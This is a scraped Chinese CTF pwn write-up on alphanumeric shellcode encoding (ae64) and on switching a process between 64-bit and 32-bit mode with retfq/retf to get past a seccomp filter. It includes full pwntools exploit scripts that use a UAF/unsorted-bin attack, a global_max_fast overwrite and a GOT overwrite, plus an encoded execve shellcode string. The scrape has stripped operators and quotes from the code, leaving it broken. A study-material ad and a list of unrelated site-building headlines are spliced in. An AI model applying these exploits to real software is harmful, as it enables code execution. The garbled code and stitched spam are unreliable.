当前位置: 首页 > news >正文

那些企业需要做网站织梦网站怎么上传

那些企业需要做网站,织梦网站怎么上传,百度在线识图查图片,做网站平台公司有哪些网上已经有成熟的工具了#xff0c;所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧#xff0c;没有开启NX保护#xff0c;基本这类型题目九成九都…网上已经有成熟的工具了所以就简单记录一下工具怎么用吧 https://github.com/TaQini/alpha3 https://github.com/veritas501/ae64.git https://github.com/rcx/shellcode_encoder 结合题目来看吧没有开启NX保护基本这类型题目九成九都是shellcode题 程序一开始会让我们在bss段上输入数据并且判断输入的字符大小是否小于0x1F再结合NX保护没开启的操作很容易可以想到此时输入的就是shellcode而每个字节的不能小于0x1F那么使用ASCII码shellcode就可以完全绕过了因为小于0x1F的都是不可见字符 接着再来看题目存在的漏洞题目存在很明显的UAF漏洞 在选项5中则是留有触发shellcode的条件只要dword_602440不为0则直接指向我们输入的shellcode而dword_602440位于bss段因此默认就为0 而在add函数中分配堆块又恰好都在unsortbin的范围内那么思路很清楚了就是使用unsortbin修改dword_602440的值那么就能触发shellcode 剩下就是shellcode如何绕过0x1F这个限制可以看到syscal是\xf\x5因此syscal都无法绕过这个限制 这里使用ae64这个工具 ‍帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 首先将需要修改的shellcode以二进制的形式导出这里直接用pwntools生成的shellcode即可 from ae64 import AE64 from pwn import * context.archamd64# get bytes format shellcode shellcode asm(shellcraft.sh())# get alphanumeric shellcode f open(shellcode,wb) f.write(shellcode) f.close() 接着使用ae64的库直接修改为ASCII码shellcode from pwn import * from ae64 import AE64context.arch amd64obj AE64() sc obj.encode(asm(shellcraft.sh()),rdx) print(sc) 这里rdx即为shellcode执行的时候call的寄存器 然后就可以生成shellcode了 紧接着拿这段生成的shellcode就可以绕过了 exp from pwn import *sh process(./pwn) context(archamd64)def add(size):sh.recvuntil( choice:)sh.sendline(1)sh.recvuntil( message?)sh.sendline(str(size))def delete(index):sh.recvuntil( choice:)sh.sendline(2)sh.recvuntil(o be deleted?)sh.sendline(str(index))def edit(index,content):sh.recvuntil( choice:)sh.sendline(3)sh.recvuntil( be modified?)sh.sendline(str(index))sh.recvuntil(t of the message?)sh.sendline(content)def show(index):sh.recvuntil( choice:)sh.sendline(4)sh.recvuntil( to be showed?)sh.sendline(str(index))def exp():sh.recvuntil( choice:)sh.sendline(5) payload RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP sh.send(payload) add(0x81) add(0x81) delete(0) edit(0, p64(0) p64(0x602440 - 0x10)) add(0x81) exp()sh.interactive()机器切换-shellcode 有时候会遇到题目需要同时使用32位shellcode与64位shellcode那么如何进行机器切换则成为解题的关键。 CS寄存器则是用于标记机器位数的关键寄存器 CS0x3364位CS0x2332位 那么如何修改CS寄存器的值则需要通过retfq与retf的指令 refq从64位切换到32位 push 0x23; #32位的CS寄存器的值 push 0xxx; #需要跳转的地址 retfq; #从32位切换到64位ref从32位切换至64位 push 0x33; #64的CS寄存器的值 push 0xxx; #需要跳转的地址 retf; #从64位切换到32位再以一道题目作为例子保护如下还是没有开启NX保护 题目漏洞在于再add函数中可申请11个堆块而题目中给堆块地址容纳的个数为10因此申请的第11个堆块的地址则会到length中从而导致第1个堆块的大小变成了堆块的地址值造成了堆溢出。 这里有个需要注意的地方是会首先检测存放堆块的位置是否为0为0才会给该堆块申请的机会因此第1个堆块的大小必须设置为0才能够申请到11个堆块。 题目还是用mallopt修改了fastbin的大小为0x10因此使得无法释放的堆块无法放置到fastbin中但是mallopt实际是修改了max_global_fast的大小 但是题目存在堆溢出漏洞因此使用修改Unsortbin的bk指针修改global_max_fast的即可这样就可以让堆块放进fastbin中了。 并且允许在bss段上输入数据且该地址刚好在存放堆块地址的上方因此伪造虚假堆块在该位置就可以完成任意地址写了。 紧接着修改free函数的got表地址为堆块地址就可以跳转到shellcode中执行可以看到堆块地址也是具有可执行权限的。 查看一下禁用了哪些函数发现只能用readwrite以及fstat函数但是fstat函数对于这道题来说没有用。那么没有open函数我们就没办法进行orw的利用了。 可以看到fstat函数的64位的系统调用号为5 但是32位下的系统调用号5为open函数 那么如果能切换到32位下执行系统调用为5的系统调用即可完成open函数的执行这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。 这里需要注意两个点 1在切换为机器位数之后栈顶的地址会被截断为4个字节因此需要重新调整一下栈顶的地址 2在机器位数切换为32位时在执行系统调用还是会显示原来的函数但是这个是gdb显示错误它实际被修改为open函数了 exp from pwn import *#sh process(./pwn)elf ELF(pwn)def user(name,desc):sh.recvuntil(choice:)sh.sendline(0)sh.recvuntil( name?) sh.send(name)sh.recvuntil(desc?)sh.send(desc)def add(size):sh.recvuntil(choice:)sh.sendline(1)sh.recvuntil( message?)sh.send(str(size))def delete(index):sh.recvuntil(choice:)sh.sendline(2)sh.recvuntil( be deleted?)sh.send(str(index))def edit(index, offset, content):sh.recvuntil(choice:)sh.sendline(3)sh.recvuntil(ssage to be modified?)sh.send(str(index))sh.recvuntil(message to be modified?)sh.send(str(offset))sh.recvuntil(ent of the message?)sh.send(content)while(1):try:sh process(./pwn)add(0) #0add(0) #1add(0x60)for i in range(8):add(0x71)delete(1)payload p64(0)*3 p64(0x21) p64(0) p16(0x37f8 - 0x10)edit(0,0,payload)add(9)delete(2)delete(3)delete(4)delete(5)user(a*0x10p64(0)p64(0x71),b)target 0x6020f0 payload p64(0)*3 p64(0x21) p64(0)*3 p64(0x71) p64(target)edit(0,0,payload)add(0x60)#2sh.recvuntil(Ptr: )addr int(0xsh.recv(6),16)log.info(addr:hex(addr))add(0x60)#3edit(3,0,p64(elf.got[free]))payload asm(push 0x23;push hex(addr9);retfq, archamd64)payload asm(mov esp, hex(target0x50);push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80,archi386)payload asm(push 0x33;push hex(addr0x2b);retf)payload asm(mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;,archamd64)payload asm(mov rdi,1;mov rax ,1;syscall;,archamd64)edit(2,0,payload)edit(0,0,p64(addr))#attach(sh,b*str(addr))delete(6)sh.interactive()except:continue
http://www.dnsts.com.cn/news/26087.html

相关文章:

  • 福建 专业网站建设公司浏览器查看WordPress主题
  • 空间放两个网站建设工程施工合同专属管辖
  • 推广网站的软文wordpress安装时候500错误
  • 网站开发基本工资是多少制作免费网站的平台
  • 网站制作时广州专业网站建设
  • 重庆自适应网站建设个人网站可以做资讯吗?
  • 影视传媒公司网站php源码网页无法访问什么原因
  • 做酒店管理网站的作用嵌入式软件开发专业
  • 一些做设计素材的网站网络工程师报名入口官网
  • wordpress设置新页面跳转广州网站建设优化方案
  • 免费网站开发合同范本徐州seo招聘
  • 有没有做花卉种子的网站啊做外贸网站怎么设计
  • 成都创新互联做网站平台推广引流是什么意思
  • 如何做企业的网站wordpress架设主机
  • 做简单的网站ps做网站首页的尺寸
  • 为什么打开网站是建设中暑假适合带孩子去哪里旅游
  • 在线网页游戏网站wordpress多站共享授权码
  • 网站开发是什赣州房产网站建设
  • 网站整合方案网站建设一般分几年摊销
  • 古色古香的网站模板wordpress 过滤标签
  • 超市型网站开发wordpress 获取全部评论
  • 网站seo链接购买安阳县辛村镇
  • 郑州网站关泉州市新濠网络科技有限公司
  • 语言教学网站建设课程总结wordpress怎么做的
  • 网站中的flash台州招聘网站建设
  • 营销型网站设计思路网页美工设计培训学校
  • 网站目录权限个人网页设计作品集分析
  • 100个万能网站oa办公系统官网
  • 网站合同采集网站会员
  • 电子商务网站设计流程越秀区做网站